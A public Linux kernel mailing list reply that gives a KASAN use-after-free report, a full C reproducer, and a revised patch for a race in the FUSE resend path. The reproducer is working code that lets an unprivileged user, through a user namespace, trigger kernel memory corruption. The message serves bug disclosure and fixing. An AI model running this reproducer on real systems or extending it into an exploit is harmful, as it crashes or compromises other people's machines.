mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Jun Yang <littleddfu@gmail.com>
To: Tang Yizhou <tangyeechou@gmail.com>,
	Miklos Szeredi <miklos@szeredi.hu>,
	fuse-devel@lists.linux.dev
Cc: Baokun Li <libaokun@linux.alibaba.com>,
	Jun Yang <junvyyang@tencent.com>,
	Zhao Chen <winters.zc@antgroup.com>,
	linux-kernel@vger.kernel.org, stable@kernel.org,
	TencentOS Corvus AI <corvus@tencent.com>
Subject: Re: [PATCH 1/2] fuse: set FR_PENDING under fiq->lock in fuse_chan_resend()
Date: Mon, 17 Aug 2026 18:25:30 +0800	[thread overview]
Message-ID: <20260817102545.508771-1-junvyyang@tencent.com> (raw)
In-Reply-To: <a9fbbe88-3d24-4ff5-9e47-89e3b8916450@gmail.com>

Below are the KASAN report, the reproducer, and the revised commit message.
The issue reproduces reliably in local testing; one decoded KASAN report follows:

--- KASAN report ---

  BUG: KASAN: slab-use-after-free in fuse_dev_do_read+0x1c98/0x1d40
    fuse_read_interrupt                     fs/fuse/dev.c:1380 [inlined]
    fuse_dev_do_read                        fs/fuse/dev.c:1567
  Read of size 8 at addr ff11000103da6b20 by task poc/14975
  CPU: 2 UID: 1000 PID: 14975 Comm: poc Tainted: G    B   W           7.2.0-rc7-clean-24ef02f934ee #2 PREEMPT(lazy)
  Call Trace:
   fuse_dev_do_read+0x1c98/0x1d40          fs/fuse/dev.c:1380 [inlined]
                                             fs/fuse/dev.c:1567
   fuse_dev_read+0x161/0x1d0               fs/fuse/dev.c:1694
   vfs_read+0x700/0xab0                    fs/read_write.c:574
   ksys_read+0x114/0x250                   fs/read_write.c:716
   do_syscall_64+0xe0/0x5a0                arch/x86/entry/syscall_64.c:94

  Allocated by task 14945:
   fuse_request_alloc+0x22/0x210           fs/fuse/dev.c:48
   fuse_get_req+0x1e4/0x360                fs/fuse/dev.c:130
   fuse_chan_send+0x105/0x5f0              fs/fuse/dev.c:822
   fuse_lookup_name+0x38d/0x830            fs/fuse/dir.c:577
   vfs_statx+0xd2/0x3b0                    fs/stat.c:353

  Freed by task 14945:
   kmem_cache_free+0xca/0x3f0              mm/slub.c:6504
   fuse_chan_send+0x438/0x5f0              fs/fuse/dev.c:839
   fuse_lookup_name+0x38d/0x830            fs/fuse/dir.c:577
   vfs_statx+0xd2/0x3b0                    fs/stat.c:353

  The buggy address belongs to the object at ff11000103da6ae0
   which belongs to the cache fuse_request of size 168

--- reproducer ---

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

struct fuse_in_header {
	uint32_t len;
	uint32_t opcode;
	uint64_t unique;
	uint64_t nodeid;
	uint32_t uid;
	uint32_t gid;
	uint32_t pid;
	uint16_t total_extlen;
	uint16_t padding;
};

struct fuse_out_header {
	uint32_t len;
	int32_t error;
	uint64_t unique;
};

struct fuse_init_out {
	uint32_t major, minor, max_readahead, flags;
	uint16_t max_background, congestion_threshold;
	uint32_t max_write, time_gran;
	uint16_t max_pages, map_alignment;
	uint32_t flags2;
	uint32_t max_stack_depth;
	uint16_t request_timeout;
	uint16_t unused[11];
};

#define FUSE_INIT 26
#define FUSE_NOTIFY_RESEND 7
#define FUSE_DEV_IOC_MAGIC 229
#define FUSE_DEV_IOC_CLONE _IOR(FUSE_DEV_IOC_MAGIC, 0, uint32_t)
#define FUSE_PARALLEL_DIROPS (1 << 18)
#define FUSE_MAX_PAGES (1 << 22)

enum {
	VICTIM_THREADS = 512,
	CLONE_FDS = 96,
	RESEND_ROUNDS = 4,
	RUN_SECONDS = 120,
	SETTLE_US = 20000,
};

static int fuse_fd = -1;
static atomic_int daemon_stop;
static atomic_int race_start;
static atomic_int parked;
static long total_iterations;
static long total_parked;
static long total_resends;
static long total_resend_failures;

static long now_ms(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec * 1000L + ts.tv_nsec / 1000000L;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	sched_setaffinity(0, sizeof(set), &set);
}

static int write_file(const char *path, const char *value)
{
	int fd;
	ssize_t len = strlen(value);

	fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	if (write(fd, value, len) != len) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static void *fuse_daemon(void *unused)
{
	static char buf[1 << 20];

	(void)unused;
	pin_cpu(2);

	while (!atomic_load(&daemon_stop)) {
		struct fuse_in_header *in;
		ssize_t n = read(fuse_fd, buf, sizeof(buf));

		if (n < 0) {
			if (errno == EINTR || errno == EAGAIN)
				continue;
			break;
		}
		if ((size_t)n < sizeof(*in))
			continue;

		in = (void *)buf;
		if (in->opcode == FUSE_INIT) {
			struct {
				struct fuse_out_header out;
				struct fuse_init_out init;
			} reply = { 0 };

			reply.out.len = sizeof(reply);
			reply.out.unique = in->unique;
			reply.init.major = 7;
			reply.init.minor = 31;
			reply.init.max_readahead = 4096;
			reply.init.flags = FUSE_PARALLEL_DIROPS |
					   FUSE_MAX_PAGES;
			reply.init.max_background = UINT16_MAX;
			reply.init.congestion_threshold = UINT16_MAX;
			reply.init.max_write = 65536;
			reply.init.time_gran = 1;
			reply.init.max_pages = 32;
			if (write(fuse_fd, &reply, sizeof(reply)) < 0)
				perror("FUSE_INIT reply");
			continue;
		}

		/* Leave every non-INIT request in fpq->processing[]. */
		atomic_fetch_add(&parked, 1);
	}
	return NULL;
}

static void wait_for_race(void)
{
	while (!atomic_load_explicit(&race_start, memory_order_acquire))
		__asm__ __volatile__("pause" ::: "memory");
}

struct race {
	pid_t victim;
	long resends;
	long failures;
};

static void *resend_requests(void *arg)
{
	struct race *race = arg;
	struct fuse_out_header out = {
		.len = sizeof(out),
		.error = FUSE_NOTIFY_RESEND,
	};
	int i;

	pin_cpu(0);
	wait_for_race();
	for (i = 0; i < RESEND_ROUNDS; i++) {
		if (write(fuse_fd, &out, sizeof(out)) == sizeof(out))
			race->resends++;
		else
			race->failures++;
	}
	return NULL;
}

static void *kill_victim(void *arg)
{
	struct race *race = arg;

	pin_cpu(3);
	wait_for_race();
	kill(race->victim, SIGKILL);
	return NULL;
}

struct victim_arg {
	int index;
};

static char victim_root[64];

static void *victim_request(void *arg)
{
	struct victim_arg *victim = arg;
	char path[96];
	struct stat st;

	snprintf(path, sizeof(path), "%s/f%d", victim_root, victim->index);
	stat(path, &st);
	for (;;)
		pause();
	return NULL;
}

static void run_victim(const char *mountpoint)
{
	static struct victim_arg args[VICTIM_THREADS];
	pthread_attr_t attr;
	pthread_t thread;
	int i;

	prctl(PR_SET_PDEATHSIG, SIGKILL);
	snprintf(victim_root, sizeof(victim_root), "%s", mountpoint);
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 64 * 1024);
	pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
	for (i = 0; i < VICTIM_THREADS; i++) {
		args[i].index = i;
		if (pthread_create(&thread, &attr, victim_request, &args[i]))
			break;
	}
	pthread_attr_destroy(&attr);
	for (;;)
		pause();
}

static int wait_for_parked_requests(void)
{
	long start = now_ms();
	int idle = 0;
	int last = -1;

	while (atomic_load(&parked) < VICTIM_THREADS &&
	       now_ms() - start < 3000) {
		int current = atomic_load(&parked);

		idle = current == last ? idle + 1 : 0;
		last = current;
		if (idle > 30)
			break;
		usleep(1000);
	}
	return atomic_load(&parked);
}

static int run_iteration(int iteration)
{
	char mountpoint[64];
	char options[128];
	int clone_fds[CLONE_FDS];
	int clone_count = 0;
	int parked_count;
	int rc = -1;
	int i;
	pid_t victim = -1;
	pthread_t daemon_thread, resend_thread, kill_thread;
	bool daemon_started = false;
	bool resend_started = false;
	bool kill_started = false;
	struct race race = { 0 };

	atomic_store(&daemon_stop, 0);
	atomic_store(&parked, 0);
	snprintf(mountpoint, sizeof(mountpoint), "/tmp/fuse-%d", iteration);
	if (mkdir(mountpoint, 0755) && errno != EEXIST)
		goto out;

	fuse_fd = open("/dev/fuse", O_RDWR);
	if (fuse_fd < 0)
		goto out;

	snprintf(options, sizeof(options),
		 "fd=%d,rootmode=40000,user_id=0,group_id=0", fuse_fd);
	if (mount("fuse", mountpoint, "fuse", 0, options))
		goto out;

	victim = fork();
	if (!victim) {
		run_victim(mountpoint);
		_exit(0);
	}
	if (victim < 0)
		goto out;

	/* Cloned devices widen fuse_chan_resend()'s fch->lock section. */
	for (i = 0; i < CLONE_FDS; i++) {
		uint32_t old_fd = fuse_fd;
		int fd = open("/dev/fuse", O_RDWR);

		if (fd < 0)
			break;
		if (ioctl(fd, FUSE_DEV_IOC_CLONE, &old_fd)) {
			close(fd);
			break;
		}
		clone_fds[clone_count++] = fd;
	}

	if (pthread_create(&daemon_thread, NULL, fuse_daemon, NULL))
		goto out;
	daemon_started = true;

	parked_count = wait_for_parked_requests();
	if (iteration < 3 || !(iteration % 50))
		printf("[+] it=%d parked=%d/%d clones=%d\n", iteration,
		       parked_count, VICTIM_THREADS, clone_count);
	if (parked_count < VICTIM_THREADS / 2) {
		fprintf(stderr, "[!] insufficient parked requests\n");
		rc = 0;
		goto out;
	}
	total_parked += parked_count;

	race.victim = victim;
	atomic_store(&race_start, 0);
	if (pthread_create(&resend_thread, NULL, resend_requests, &race))
		goto out;
	resend_started = true;
	if (pthread_create(&kill_thread, NULL, kill_victim, &race))
		goto out;
	kill_started = true;

	usleep(2000);
	atomic_store_explicit(&race_start, 1, memory_order_release);
	pthread_join(resend_thread, NULL);
	resend_started = false;
	pthread_join(kill_thread, NULL);
	kill_started = false;

	/* Let the daemon consume a stale interrupt entry. */
	usleep(SETTLE_US);
	total_resends += race.resends;
	total_resend_failures += race.failures;
	rc = 0;

out:
	atomic_store_explicit(&race_start, 1, memory_order_release);
	if (resend_started)
		pthread_join(resend_thread, NULL);
	if (kill_started)
		pthread_join(kill_thread, NULL);

	atomic_store(&daemon_stop, 1);
	for (i = 0; i < clone_count; i++)
		close(clone_fds[i]);
	if (daemon_started) {
		pthread_kill(daemon_thread, SIGUSR1);
		pthread_join(daemon_thread, NULL);
	}

	/* Abort before waitpid(), since some victim threads wait uninterruptibly. */
	if (victim > 0) {
		umount2(mountpoint, MNT_FORCE);
		kill(victim, SIGKILL);
		waitpid(victim, NULL, 0);
	}
	umount2(mountpoint, MNT_FORCE);
	umount2(mountpoint, MNT_DETACH);
	if (fuse_fd >= 0)
		close(fuse_fd);
	fuse_fd = -1;
	rmdir(mountpoint);
	return rc;
}

static void interrupt_read(int signal)
{
	(void)signal;
}

int main(void)
{
	struct sigaction action = { 0 };
	uid_t uid = getuid();
	gid_t gid = getgid();
	char map[64];
	long start;
	int iteration;

	setvbuf(stdout, NULL, _IOLBF, 0);
	action.sa_handler = interrupt_read;
	sigemptyset(&action.sa_mask);
	sigaction(SIGUSR1, &action, NULL);
	signal(SIGPIPE, SIG_IGN);

	if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
		perror("unshare");
		return 2;
	}
	(void)write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %u 1", uid);
	if (write_file("/proc/self/uid_map", map))
		return 2;
	snprintf(map, sizeof(map), "0 %u 1", gid);
	if (write_file("/proc/self/gid_map", map))
		return 2;
	if (getuid())
		return 2;
	mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL);

	printf("[+] poc: %ds, %d threads, %d clones\n", RUN_SECONDS,
	       VICTIM_THREADS, CLONE_FDS);
	start = now_ms();
	for (iteration = 0; now_ms() - start < RUN_SECONDS * 1000L;
	     iteration++) {
		if (run_iteration(iteration))
			return 2;
		total_iterations++;
		if (iteration && !(iteration % 50))
			printf("[+] progress: iterations=%ld parked=%ld "
			       "resends=%ld failures=%ld\n",
			       total_iterations, total_parked, total_resends,
			       total_resend_failures);
	}

	printf("[+] DONE iterations=%ld parked=%ld resends=%ld failures=%ld\n",
	       total_iterations, total_parked, total_resends,
	       total_resend_failures);
	return 0;
}

---

Thanks,
Jun

--- commit message ---

From: Jun Yang <junvyyang@tencent.com>
Subject: [PATCH v2 1/2] fuse: set FR_PENDING under fiq->lock in
 fuse_chan_resend()

fuse_remove_pending_req() checks FR_PENDING while holding fiq->lock and
removes req->list when the bit is set.

fuse_chan_resend() first moves requests from fpq->processing to the
stack-local to_queue list.  It then drops the queue locks and sets
FR_PENDING before taking fiq->lock and moving the requests to
fiq->pending.

This leaves the following race:

  fuse_chan_resend()              request waiter

  set_bit(FR_PENDING)
                                   spin_lock(fiq->lock)
                                   test FR_PENDING
                                   list_del(req->list)
                                   __fuse_put_request(req)
  access req / walk to_queue

Take fiq->lock before setting FR_PENDING and keep it held until the
requests have been added to fiq->pending.  Relative to
fuse_remove_pending_req(), publishing FR_PENDING and changing the request's
list ownership are then one fiq->lock-protected transition.  If fiq is
already disconnected, end the requests without setting FR_PENDING.

Fixes: 760eac73f9f6 ("fuse: Introduce a new notification type for resend pending requests")
Cc: stable@kernel.org
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Assisted-by: tencentos-corvus-ai:kimi-k3
Signed-off-by: Jun Yang <junvyyang@tencent.com>
---
 fs/fuse/dev.c | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/fs/fuse/dev.c b/fs/fuse/dev.c
index 5763a7cd3b37..e62c7ed8bcf4 100644
--- a/fs/fuse/dev.c
+++ b/fs/fuse/dev.c
@@ -1781,26 +1781,22 @@ void fuse_chan_resend(struct fuse_chan *fch)
 	}
 	spin_unlock(&fch->lock);
 
-	list_for_each_entry_safe(req, next, &to_queue, list) {
-		set_bit(FR_PENDING, &req->flags);
-		clear_bit(FR_SENT, &req->flags);
-		/* mark the request as resend request */
-		req->in.h.unique |= FUSE_UNIQUE_RESEND;
-	}
-
 	spin_lock(&fiq->lock);
 	if (!fiq->connected) {
 		spin_unlock(&fiq->lock);
-		list_for_each_entry(req, &to_queue, list)
-			clear_bit(FR_PENDING, &req->flags);
 		fuse_dev_end_requests(&to_queue);
 		return;
 	}
-	/*
-	 * Remove interrupt entries for resent requests to prevent stale
-	 * intr_entry on fiq->interrupts after the request is re-queued.
-	 */
-	list_for_each_entry(req, &to_queue, list) {
+	list_for_each_entry_safe(req, next, &to_queue, list) {
+		/* must be set under fiq->lock, see fuse_remove_pending_req() */
+		set_bit(FR_PENDING, &req->flags);
+		clear_bit(FR_SENT, &req->flags);
+		/* mark the request as resend request */
+		req->in.h.unique |= FUSE_UNIQUE_RESEND;
+		/*
+		 * Remove interrupt entries for resent requests to prevent stale
+		 * intr_entry on fiq->interrupts after the request is re-queued.
+		 */
 		if (test_bit(FR_INTERRUPTED, &req->flags))
 			list_del_init(&req->intr_entry);
 	}
-- 
2.43.7

  reply	other threads:[~2026-08-17 10:26 UTC|newest]

Thread overview: 10+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-04  9:17 [PATCH 0/2] fuse: fix request lifetime races in the resend path Jun Yang
2026-08-04  9:17 ` [PATCH 1/2] fuse: set FR_PENDING under fiq->lock in fuse_chan_resend() Jun Yang
2026-08-14  7:23   ` Tang Yizhou
2026-08-17 10:25     ` Jun Yang [this message]
2026-08-17 13:30       ` Tang Yizhou
2026-08-18  8:39   ` Miklos Szeredi
2026-08-18  9:55     ` Yizhou Tang
2026-08-04  9:17 ` [PATCH 2/2] fuse: don't queue an interrupt for a request that is back on fiq->pending Jun Yang
2026-08-14  8:49   ` Tang Yizhou
2026-08-14  6:19 ` [PATCH 0/2] fuse: fix request lifetime races in the resend path Tang Yizhou

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260817102545.508771-1-junvyyang@tencent.com \
    --to=littleddfu@gmail.com \
    --cc=corvus@tencent.com \
    --cc=fuse-devel@lists.linux.dev \
    --cc=junvyyang@tencent.com \
    --cc=libaokun@linux.alibaba.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=miklos@szeredi.hu \
    --cc=stable@kernel.org \
    --cc=tangyeechou@gmail.com \
    --cc=winters.zc@antgroup.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®